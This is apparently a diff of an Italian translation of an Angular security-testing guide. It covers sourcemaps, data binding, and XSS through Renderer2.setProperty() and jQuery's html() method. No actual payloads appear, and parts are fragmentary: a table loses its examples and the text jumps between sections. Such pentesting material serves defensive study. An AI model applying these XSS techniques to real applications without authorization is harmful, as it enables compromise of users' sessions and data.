gerarchie di vista nella tua applicazione. Il `RouterModule` è definito nel file `app-routing.module.ts`. +Il modulo NgModule `Router` di Angular fornisce un servizio che consente di definire un percorso di navigazione tra i diversi stati dell'applicazione e le gerarchie di vista nella tua applicazione. Il `RouterModule` è definito nel file `app-routing.module.ts`. -Per dati o logica che non sono associati a una vista specifica e che desideri condividere tra i componenti, crei una classe di servizio. La definizione di una classe di servizio è immediatamente preceduta dal decoratore `@Injectable()`. Il decoratore fornisce i metadati che consentono ad altri provider di essere iniettati come dipendenze nella tua classe. L'iniezione delle dipendenze (DI) ti consente di mantenere le classi dei componenti snelle ed efficienti. Esse non recuperano dati dal server, non convalidano l'input dell'utente e non registrano direttamente sulla console; delegano tali compiti ai servizi. +Per dati o logica che non sono associati a una vista specifica e che desideri condividere tra i componenti, crei una classe di servizio. La definizione di una classe di servizio è immediatamente preceduta dal decoratore `@Injectable()`. Il decoratore fornisce i metadati che consentono ad altri provider di essere iniettati come dipendenze nella tua classe. L'iniezione delle dipendenze (DI) ti consente di mantenere le tue classi di componente snelle ed efficienti. Esse non recuperano dati dal server, non convalidano l'input dell'utente e non registrano direttamente sulla console; delegano tali compiti ai servizi. ## Configurazione del sourcemap @@ -58,13 +58,13 @@ Il framework Angular traduce i file TypeScript in codice JavaScript seguendo le "hidden": false } ``` -In generale, i file sourcemap sono utilizzati per scopi di debug in quanto mappano i file generati ai loro file originali. Pertanto, non è consigliabile utilizzarli in un ambiente di produzione. Se i sourcemap sono abilitati, migliorano la leggibilità e aiutano nell'analisi dei file replicando lo stato originale del progetto Angular. Tuttavia, se sono disabilitati, un revisore può comunque analizzare manualmente un file JavaScript compilato cercando modelli anti-sicurezza. +In generale, i file sourcemap sono utilizzati per scopi di debug in quanto mappano i file generati ai loro file originali. Pertanto, non è consigliabile utilizzarli in un ambiente di produzione. Se i sourcemap sono abilitati, migliorano la leggibilità e aiutano nell'analisi dei file replicando lo stato originale del progetto Angular. Tuttavia, se sono disabilitati, un revisore può comunque analizzare manualmente un file JavaScript compilato cercando schemi anti-sicurezza. -Inoltre, un file JavaScript compilato con un progetto Angular può essere trovato negli strumenti per sviluppatori del browser → Sources (o Debugger e Sources) → \[id].main.js. A seconda delle opzioni abilitate, questo file può contenere la seguente riga alla fine `//# sourceMappingURL=[id].main.js.map` oppure potrebbe non contenerla, se l'opzione **hidden** è impostata su **true**. Tuttavia, se il sourcemap è disabilitato per **scripts**, il testing diventa più complesso e non possiamo ottenere il file. Inoltre, il sourcemap può essere abilitato durante la costruzione del progetto come `ng build --source-map`. +Inoltre, un file JavaScript compilato con un progetto Angular può essere trovato negli strumenti di sviluppo del browser → Sources (o Debugger e Sources) → \[id].main.js. A seconda delle opzioni abilitate, questo file può contenere la seguente riga alla fine `//# sourceMappingURL=[id].main.js.map` oppure potrebbe non contenerla, se l'opzione **hidden** è impostata su **true**. Tuttavia, se il sourcemap è disabilitato per **scripts**, il testing diventa più complesso e non possiamo ottenere il file. Inoltre, il sourcemap può essere abilitato durante la costruzione del progetto come `ng build --source-map`. ## Data binding -Il binding si riferisce al processo di comunicazione tra un componente e la sua vista corrispondente. Viene utilizzato per trasferire dati da e verso il framework Angular. I dati possono essere passati attraverso vari mezzi, come eventi, interpolazione, proprietà o attraverso il meccanismo di binding bidirezionale. Inoltre, i dati possono essere condivisi anche tra componenti correlati (relazione genitore-figlio) e tra due componenti non correlati utilizzando la funzionalità Service. +Il binding si riferisce al processo di comunicazione tra un componente e la sua vista corrispondente. Viene utilizzato per trasferire dati da e verso il framework Angular. I dati possono essere passati attraverso vari mezzi, come eventi, interpolazione, proprietà o attraverso il meccanismo di binding bidirezionale. Inoltre, i dati possono essere condivisi tra componenti correlati (relazione genitore-figlio) e tra due componenti non correlati utilizzando la funzionalità Service. Possiamo classificare il binding in base al flusso di dati: @@ -74,14 +74,14 @@ Possiamo classificare il binding in base al flusso di dati: Il binding può essere chiamato su proprietà, eventi e attributi, così come su qualsiasi membro pubblico di una direttiva sorgente: -| TIPO | OBIETTIVO | ESEMPI | -| --------- | ------------------------------------------------------- | ------------------------------------------------------------------- | -| Proprietà | Proprietà elemento, Proprietà componente, Proprietà direttiva | \ | -| Evento | Evento elemento, Evento componente, Evento direttiva | \ ``` -* Per impostare la proprietà di un elemento DOM, puoi utilizzare il metodo `Renderer2.setProperty()` e attivare un attacco XSS: +* Per impostare la proprietà di un elemento DOM, puoi utilizzare il metodo `Renderer2.setProperty()` e innescare un attacco XSS: ```tsx //app.component.ts @@ -375,7 +375,7 @@ Durante la nostra ricerca, abbiamo anche esaminato il comportamento di altri met #### jQuery -jQuery è una libreria JavaScript veloce, leggera e ricca di funzionalità che può essere utilizzata nel progetto Angular per aiutare con la manipolazione degli oggetti DOM HTML. Tuttavia, come è noto, i metodi di questa libreria possono essere sfruttati per ottenere una vulnerabilità XSS. Per discutere di come alcuni metodi vulnerabili di jQuery possano essere sfruttati nei progetti Angular, abbiamo aggiunto questa sottosezione. +jQuery è una libreria JavaScript veloce, piccola e ricca di funzionalità che può essere utilizzata nel progetto Angular per aiutare con la manipolazione degli oggetti DOM HTML. Tuttavia, come è noto, i metodi di questa libreria possono essere sfruttati per ottenere una vulnerabilità XSS. Per discutere di come alcuni metodi vulnerabili di jQuery possano essere sfruttati nei progetti Angular, abbiamo aggiunto questa sottosezione. * Il metodo `html()` ottiene i contenuti HTML del primo elemento nel set di elementi corrispondenti o imposta i contenuti HTML di ogni elemento corrispondente. Tuttavia, per design, qualsiasi costruttore o metodo jQuery che accetta una stringa HTML può potenzialmente eseguire codice. Questo può avvenire tramite l'iniezione di tag `